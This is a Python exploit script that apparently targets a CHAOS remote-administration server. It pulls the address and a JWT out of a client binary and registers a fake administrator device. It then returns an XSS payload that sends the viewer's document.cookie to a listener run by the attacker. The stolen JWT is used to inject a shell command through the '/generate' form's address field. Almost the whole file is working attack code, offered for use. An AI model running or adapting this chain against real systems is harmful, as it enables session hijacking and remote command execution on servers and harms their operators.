import time
import requests
import threading
import json
import websocket
import argparse
import sys
import re
from functools import partial
from http.server import BaseHTTPRequestHandler, HTTPServer
class Collector(BaseHTTPRequestHandler):
def __init__(self, ip, port, target, *args, **kwargs):
self.ip = ip
self.port = port
self.target = target
super().__init__(*args, **kwargs)
def do_GET(self):
print(self.path)
cookie = self.path.split("=")[1]
self.send_response(200)
self.end_headers()
self.wfile.write(b"")
print(f"[+]Exploiting {self.target} with JWT {cookie}")
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Content-Type': 'multipart/form-data; boundary=---------------------------196428912119225031262745068932',
'Cookie': f'jwt={cookie}'
}
requests.post(url=f"http://{self.target}/generate",data=f'-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="address"\r\n\r\nhttp://example.com/\'`touch /tmp/pwn`\'\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="port"\r\n\r\n8080\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="os_target"\r\n\r\n1\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="filename"\r\n\r\n\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="run_hidden"\r\n\r\nfalse\r\n-----------------------------196428912119225031262745068932--\r\n',headers=headers,verify=False)
def convert_to_int_array(string):
int_array = []
for char in string:
int_array.append(ord(char))
return int_array
def extract_client_info(path):
with open(path, 'rb') as f:
data = str(f.read())
address_regexp = r"main\.ServerAddress=(?:[0-9]{1,3}\.){3}[0-9]{1,3}"
address_pattern = re.compile(address_regexp)
address = address_pattern.findall(data)[0].split("=")[1]
port_regexp = r"main\.Port=\d{1,6}"
port_pattern = re.compile(port_regexp)
port = port_pattern.findall(data)[0].split("=")[1]
jwt_regexp = r"main\.Token=[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*"
jwt_pattern = re.compile(jwt_regexp)
jwt = jwt_pattern.findall(data)[0].split("=")[1]
return f"{address}:{port}", jwt
def keep_connection(target, cookie, hostname, username, os_name, mac, ip):
headers = {
"Cookie": f"jwt={cookie}"
}
while True:
data = {"hostname": hostname, "username":username,"user_id": username,"os_name": os_name, "os_arch":"amd64", "mac_address": mac, "local_ip_address": ip, "port":"8000", "fetched_unix":int(time.time())}
requests.get(f"http://{target}/health", headers=headers)
requests.post(f"http://{target}/device", headers=headers, json=data)
time.sleep(30)
def handle_command(target, cookie, mac, ip, port):
headers = {
"Cookie": f"jwt={cookie}",
"X-Client": mac
}
ws = websocket.WebSocket()
ws.connect(f'ws://{target}/client', header=headers)
while True:
ws.recv()
data = {"client_id": mac, "response": convert_to_int_array(f"<script>var i = new Image;i.src='http://{ip}:{port}/'+document.cookie;</script>"), "has_error": False}
ws.send_binary(json.dumps(data))
def run(ip, port, target):
server_address = (ip, int(port))
collector = partial(Collector, ip, port, target)
httpd = HTTPServer(server_address, collector)
print(f'Server running on port {ip}:{port}')
httpd.serve_forever()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
subparsers = parser.add_subparsers(dest="option")
exploit = subparsers.add_parser("exploit")
exploit.add_argument("-f", "--file", help="The path to the CHAOS client")
exploit.add_argument("-l", "--local_ip", help="The local IP to use for serving bash script and mp4", required=True)
args = parser.parse_args()
if args.option == "exploit":
target, jwt = extract_client_info(args.file)
bg = threading.Thread(target=keep_connection, args=(target, jwt, "DC01", "Administrator", "Windows", "3f:72:58:91:56:56", "10.0.17.12"))
bg.start()
cmd = threading.Thread(target=handle_command, args=(target, jwt, "3f:72:58:91:56:56", args.local_ip, 8000))
cmd.start()
server = threading.Thread(target=run, args=(args.local_ip, 8000, target))
server.start()
else:
parser.print_help(sys.stderr)
sys.exit(1)
|
